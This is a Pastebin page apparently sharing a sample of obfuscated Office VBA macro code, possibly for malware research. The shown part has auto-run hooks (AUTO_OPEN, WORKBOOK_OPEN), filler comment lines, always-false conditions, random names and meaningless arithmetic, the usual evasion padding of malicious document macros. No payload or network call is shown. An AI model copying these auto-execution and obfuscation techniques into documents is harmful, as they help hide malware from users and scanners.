Advertisement
clover4research

Macro

Nov 15th, 2014
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 74.17 KB | None | 0 0
  1. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  2. Sub AUTO_OPEN()
  3. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  4. Dim FXNNBASR, LKIWSXEW, CDHHVJWD As String
  5. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  6. If 745638 = 745638 + 1 Then End
  7. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  8. If 7353 < 38 Then
  9. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  10.        MsgBox ("ECJCZWRQ71")
  11. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  12. End If
  13. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  14. If Len("ALCDLVYS8213") = Len("ZXANNXRL") Then
  15. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  16.       MsgBox ("ERROR !!!")
  17. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  18. End If
  19. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  20. FXNNBASR = "           FJBKYY               "
  21. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  22.  
  23. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  24. If 826317 = 826317 + 1 Then End
  25. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  26. If 2228 < 15 Then
  27. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  28.        MsgBox ("JLBKKEXK36")
  29. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  30. End If
  31. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  32. If Len("QFMBCPMC3968") = Len("LZAWMATC") Then
  33. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  34.       MsgBox ("ERROR !!!")
  35. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  36. End If
  37. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  38. LKIWSXEW = LTrim(FXNNBASR)
  39. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  40.  
  41. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  42. If 673832 = 673832 + 1 Then End
  43. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  44. If 9428 < 69 Then
  45. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  46.        MsgBox ("ADZUTMGS74")
  47. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  48. End If
  49. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  50. If Len("KCRGYETL4682") = Len("LAYZGARA") Then
  51. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  52.       MsgBox ("ERROR !!!")
  53. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  54. End If
  55. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  56. CDHHVJWD = RTrim(LKIWSXEW)
  57. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  58.  
  59. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  60.  
  61. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  62. If 459771 = 459771 + 1 Then End
  63. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  64. If 7553 < 78 Then
  65. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  66.        MsgBox ("XSMDKCEV89")
  67. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  68. End If
  69. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  70. If Len("RZCQAHBJ8313") = Len("VMCHWWSE") Then
  71. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  72.       MsgBox ("ERROR !!!")
  73. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  74. End If
  75. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  76. TZWHIXLFHBW
  77. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  78.  
  79. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  80. End Sub
  81. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  82. Sub AUTOOPEN()
  83. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  84. Dim FPYJBNUS, JWMQOCHU, TQBFGOZG As String
  85. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  86. If 113498 = 113498 + 1 Then End
  87. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  88. If 1941 < 75 Then
  89. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  90.        MsgBox ("VEUDYMBK26")
  91. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  92. End If
  93. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  94. If Len("WVDZXCNL5214") = Len("CZHHRXNB") Then
  95. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  96.       MsgBox ("ERROR !!!")
  97. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  98. End If
  99. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  100. FPYJBNUS = "           JQURSE               "
  101. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  102.  
  103. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  104. If 921494 = 921494 + 1 Then End
  105. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  106. If 1756 < 11 Then
  107. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  108.        MsgBox ("SVHRZPMF46")
  109. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  110. End If
  111. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  112. If Len("LFLEQEHT2696") = Len("FUKORIRL") Then
  113. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  114.       MsgBox ("ERROR !!!")
  115. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  116. End If
  117. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  118. JWMQOCHU = LTrim(FPYJBNUS)
  119. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  120.  
  121. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  122. If 693834 = 693834 + 1 Then End
  123. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  124. If 9628 < 62 Then
  125. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  126.        MsgBox ("BVZURCEE42")
  127. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  128. End If
  129. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  130. If Len("HOEGTYLQ1568") = Len("EKCSPLWY") Then
  131. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  132.       MsgBox ("ERROR !!!")
  133. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  134. End If
  135. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  136. TQBFGOZG = RTrim(JWMQOCHU)
  137. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  138.  
  139. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  140.  
  141. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  142. If 138425 = 138425 + 1 Then End
  143. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  144. If 2926 < 23 Then
  145. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  146.        MsgBox ("LUZYPZXK67")
  147. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  148. End If
  149. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  150. If Len("NXYRLWLP3776") = Len("MHRPSNYC") Then
  151. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  152.       MsgBox ("ERROR !!!")
  153. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  154. End If
  155. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  156.    AUTO_OPEN
  157. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  158.  
  159. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  160. End Sub
  161. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  162. Sub WORKBOOK_OPEN()
  163. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  164. Dim UANZUEKG, LUSTOJWB, RDVIQTBP As String
  165. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  166. If 864159 = 864159 + 1 Then End
  167. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  168. If 8547 < 26 Then
  169. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  170.        MsgBox ("QTQMXTLS92")
  171. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  172. End If
  173. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  174. If Len("MTOLPWVA9397") = Len("XOSUKLXI") Then
  175. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  176.       MsgBox ("ERROR !!!")
  177. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  178. End If
  179. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  180. UANZUEKG = "           ASFCKH               "
  181. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  182.  
  183. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  184. If 446479 = 446479 + 1 Then End
  185. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  186. If 5996 < 77 Then
  187. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  188.        MsgBox ("PPGYWTTG98")
  189. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  190. End If
  191. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  192. If Len("JBLTRVAU8269") = Len("NFNNAHSY") Then
  193. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  194.       MsgBox ("ERROR !!!")
  195. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  196. End If
  197. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  198. LUSTOJWB = LTrim(UANZUEKG)
  199. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  200.  
  201. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  202. If 127876 = 127876 + 1 Then End
  203. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  204. If 4868 < 14 Then
  205. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  206.        MsgBox ("XPAOCKFR28")
  207. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  208. End If
  209. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  210. If Len("DMZJBARD5728") = Len("GVYTUBEL") Then
  211. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  212.       MsgBox ("ERROR !!!")
  213. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  214. End If
  215. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  216. RDVIQTBP = RTrim(LUSTOJWB)
  217. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  218.  
  219. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  220.  
  221. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  222. If 316466 = 316466 + 1 Then End
  223. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  224. If 4696 < 64 Then
  225. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  226.        MsgBox ("RLGULFXF85")
  227. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  228. End If
  229. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  230. If Len("QOLTZULY7869") = Len("MCNABBEY") Then
  231. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  232.       MsgBox ("ERROR !!!")
  233. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  234. End If
  235. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  236.    AUTO_OPEN
  237. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  238.  
  239. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  240. End Sub
  241. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  242. Public Function XGOBXLXQYV74() As Integer
  243. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  244. Dim VLSSTJMKFQ69, AUINKDEXQB85, XNIYQLHPRF18, WLKKGLYLWV63 As String
  245. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  246. Dim OZQGLYIDVF58, AQJMPFDEAV64, XRHBELAJLD97, UZJWRIMDYN76 As Integer
  247. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  248. OZQGLYIDVF58 = 2646
  249. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  250. VLSSTJMKFQ69 = V
  251. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  252. AQJMPFDEAV64 = Asc(VLSSTJMKFQ69)
  253. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  254. If OZQGLYIDVF58 > AQJMPFDEAV64 Then
  255. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  256.    For XRHBELAJLD97 = 1 To 94
  257. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  258.       UZJWRIMDYN76 = AQJMPFDEAV64 + XRHBELAJLD97
  259. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  260.    Next XRHBELAJLD97
  261. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  262. UZJWRIMDYN76 = UZJWRIMDYN76 + OZQGLYIDVF58
  263. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  264. AUINKDEXQB85 = CStr(UZJWRIMDYN76)
  265. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  266. XNIYQLHPRF18 = Mid$(AUINKDEXQB85, 1, 4)
  267. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  268. WLKKGLYLWV63 = WLKKGLYLWV63 & "96"
  269. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  270. XGOBXLXQYV74 = CInt(Mid$(WLKKGLYLWV63, 2, 6))
  271. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  272. Else
  273. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  274. XGOBXLXQYV74 = 94 + 2646
  275. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  276. MsgBox ("RHQTLQSAKU83")
  277. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  278. End Function
  279. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  280.  
  281. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  282. Public Function DUWFBAWUCE25() As Integer
  283. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  284. Dim CFDXQJQKGH71, CNYXTJTDZA34, AWLCZFOYTG52, MXIGYWLUAA76 As String
  285. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  286. Dim HIJIGBPYGJ22, HLPIIVTAZZ85, LGCIYXOMTH92, SGSNPEJWZZ27 As Integer
  287. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  288. HIJIGBPYGJ22 = 4956
  289. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  290. CFDXQJQKGH71 = Q
  291. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
